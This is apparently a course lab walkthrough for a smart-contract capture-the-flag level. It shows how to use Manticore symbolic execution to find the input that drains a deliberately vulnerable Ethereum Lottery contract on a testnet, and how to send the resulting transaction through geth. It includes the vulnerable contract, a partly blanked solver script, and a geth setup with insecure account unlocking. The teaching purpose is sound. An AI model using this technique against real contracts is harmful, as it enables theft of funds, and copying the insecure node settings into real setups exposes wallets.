In this level, you will employ the Manticore symbolic execution engine to automatically generate a transaction that will solve the Lottery CTF level. You will then be able to directly submit solutions to the CTF framework using geth.

What you'll need

Connect back into VM you installed geth and manticore into. Within the VM, re-attach to your tmux session (or recreate it using the directions from the previous lab)

tmux attach

Ideally, you should have at least 3 sessions.

geth \
  --allow-insecure-unlock \
  --ropsten \
  --http --http.addr 127.0.0.1 \
  --http.port 8545 --http.api admin,eth,net,web3,personal \
  --nousb 
geth attach http://127.0.0.1:8545/

In this level, the exploit involves finding the winning lottery number that will allow us to grab all of the ETH. The source code should make it obvious which function we need to target.


SI_ctf_levels/Lottery.sol

contract Lottery{

    using SafeMath for uint256;

    uint256 public totalPot;

    constructor(address _ctfLauncher, address _player) public payable
    {
        totalPot = totalPot.add(msg.value);
    }
    
    function() external payable{
        totalPot = totalPot.add(msg.value);
    }

    function play(uint256 _seed) external payable {
        require(msg.value >= 1 finney, "Insufficient Transaction Value");
        totalPot = totalPot.add(msg.value);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
        bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
        bytes32 guess = keccak256(abi.encodePacked(_seed));
        if(guess==target){
            //winner
            uint256 payout = totalPot;
            totalPot = 0;
            msg.sender.transfer(payout);
        }
    }    
}

In this example, we've setup the Manticore symbolic executor to inspect the Lottery contract for critical endpoints and we've told it that it needs to find an input where our attacker gets all of the ether from the victim contract. The first things you will need to replace are the values of the variables contract_balance and msg_value. The contract_balance field needs to match how much ether is in the CTF contract. The msg_value field needs to have enough ETH to send a message to the function in the attacking contract. Look closely at the vulnerable function in SI_ctf_levels/lottery.sol to be able to come up with a value.

manticore_scripts/lottery_solution.py

# Set the amount of ETH you want to obtain from the contract
contract_balance = ???

# Set the amount of ETH we need to send in our transaction (msg.value) to play.
msg_value = ???

The next thing we will need to figure out is the size of our symbolic buffer. Remember that four bytes is needed for the function hash, plus any additional bytes to account for the function parameters. In the vulnerable function, pay close attention to the size of the function parameters.

Next, we will send the transaction to the CTF. Notice how a value is specified in the value field.

Lastly, we will explore the running states and return a geth transaction if the balance in the state can equal the amount of ether we placed into our virtual contract - both the contract balance and the message value. That is to say, our virtual contract was able to retrieve all its ether back.

# Make symbolic buffer to hold msg.data and ask Manticore to calculate the "winning" value
# 4 bytes for the function signature hash and ??? more for a uint256
sym_args = m.make_symbolic_buffer(???)

# Issue a symbolic transaction to the EVM by setting msg.data to symbolic buffer
#   as well as msg.value to the amount needed to play
m.transaction(
    caller=user_account,
    address=contract_account.address,
    data=sym_args,
    value=msg_value,
    gas=gas
)

# Symbolically execute program to find an exploit that obtains our funds back.
for state in m.running_states:
    # this is just some silly manticore stuff
    world = state.platform
    # Check if funds can be retrieved
    if state.can_be_true(world.get_balance(user_account.address) == contract_balance + msg_value):
      # If so, add constraint
      #   Then concretize symbolic buffer to provide one solution
      state.constraints.add(world.get_balance(user_account.address) == contract_balance + msg_value)
      conc_args = state.solve_one(sym_args)
      # Print out our transaction to send to win
      print(f'''eth.sendTransaction({{data:"0x{conc_args.hex()}", from:"0x{from_address:040x}", to:"0x{si_level_address:040x}", value:{msg_value}, gas:{gas}}})''')
      sys.exit(0)
    print('No state found')

Now, inside your tmux shell, you can run the manticore script. Ensure that you use the correct address for the CTF level and your own wallet address for the fields in red (these fields can also be supplied by editing the script itself).

cd manticore_scripts
python3 lottery_solution.py 0xYourWalletAddress 0xCtfLevelAddress

This will attack the SI level in SI_ctf_levels/Lottery.sol on the container and find an exploit that solves it. Take a screenshot of the Manticore script output with the transaction.

You can reverse the attack that the manticore script spits out and put the arguments into Remix, or you can directly paste it into geth's sendTransaction function to win the level automatically. In order to do this, you have to utilize the geth light node set up previously. (Note: that it must be fully synced to handle the transaction you will send it and you will need to have imported your wallet into it for it to use to sign transactions from your address)

In your interactive geth session, unlock the wallet you previously instantiated:

personal.unlockAccount(eth.accounts[0],'password',3600)

You can now send the transaction that Manticore generated for you. 

eth.sendTransaction({data:"???", from:"???", to:"???", value:"???", gas:100000})

Screenshot the output (i.e. the resulting transaction hash), then paste the transaction hash into Etherscan and show a screenshot of it showing the transfer from the CTF level contract back to your wallet. Include both in your lab notebook. You do not need to commit the code into your repository.

If your transaction takes a long time, try upping the gas price. This should complete the CTF level, reducing the contract to 0 ETH.

Congratulations on applying symbolic execution to automatically retrieve money from this smart contract. Continue to the next level for more!